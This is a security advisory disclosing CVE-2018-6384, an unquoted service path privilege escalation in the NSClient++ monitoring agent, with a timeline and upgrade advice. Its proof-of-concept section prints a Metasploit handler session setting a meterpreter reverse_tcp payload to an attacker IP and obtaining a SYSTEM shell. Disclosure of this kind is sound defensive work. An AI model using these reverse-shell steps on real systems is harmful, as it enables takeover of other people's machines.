SECURITY ADVISORY

NSClient++
WINDOWS LOCAL PRIVILEGE ESCALATION

CRISTHIAN PARROT
1/31/2018
CVE-2018-6384
1. **SUMMARY**

1.1. **CONTEXT**

NSClient++ (nscp) is a fully fledged monitoring agent which can be used with numerous monitoring tools (like Nagios, Icinga, Naemon, OP5, NetEye Opsview, etc).

1.2. **DESCRIPTION**

Unquoted Windows search path vulnerability in NSClient++ before NSCP-0.4.1.073 allows non-privileged local users to execute arbitrary code with elevated privileges on the system via a malicious executable in the %SYSTEMDRIVE% folder.

1.3. **PRODUCTS AND VERSIONS AFFECTED**

Affected products:

- NSClient++ 0.3.9.328 and below

1.4. **IMPACT**

If an attacker is able to place a malicious executable in the %SYSTEMDRIVE% folder, he can escalate his privileges as SYSTEM and, thus, fully compromise the machine.

1.5. **MITIGATIONS**

Users who still use an older version of the product are strongly invited to upgrade to the latest version available at the author's site.
### DISCLOSURE TIMELINE

<table>
<thead>
<tr>
<th>DATE</th>
<th>EVENT</th>
</tr>
</thead>
<tbody>
<tr>
<td>1/26/2018</td>
<td>Initial discovery.</td>
</tr>
<tr>
<td>1/28/2018</td>
<td>Initial contact to vendor.</td>
</tr>
<tr>
<td>1/29/2018</td>
<td>Coordinated public release of advisory.</td>
</tr>
<tr>
<td>1/31/2018</td>
<td>Public disclosure.</td>
</tr>
</tbody>
</table>
2. TECHNICAL DETAILS

2.1. VULNERABILITY DETAILS

This vulnerability is a Windows local privilege escalation. The service executable path is not enclosed with quotation marks and contains a space:

![Unquoted service path](image)

When Windows attempts to run this service, it will look first at the "C:" folder and will run the first executable that it will find:

```
C:\Program.exe
```

This vulnerability is caused by the `CreateProcess` function in Windows operating systems. For more information read [this article](#).

2.2. PROOF OF CONCEPT

Metasploit can be used to generate a malicious service executable:

```
```

At the next start of the service by an administrator (or after the restart of the targeted machine), `Payload.exe` will run as SYSTEM.
Security Advisory
CVE-2018-6384

Figure 2 - Meterpreter shell with SYSTEM privileges

```bash
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.196
lhost => 192.168.1.196
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.1.196:4444
[*] Sending stage (179267 bytes) to 192.168.1.192

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
3. REFERENCES

- NSClient++, Vulnerability details published by the vendor
  https://nsclient.org/blog/2018/01/30/CVE-2018-6384-0.3.9/

- MITRE, CVE-2018-6384
  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6384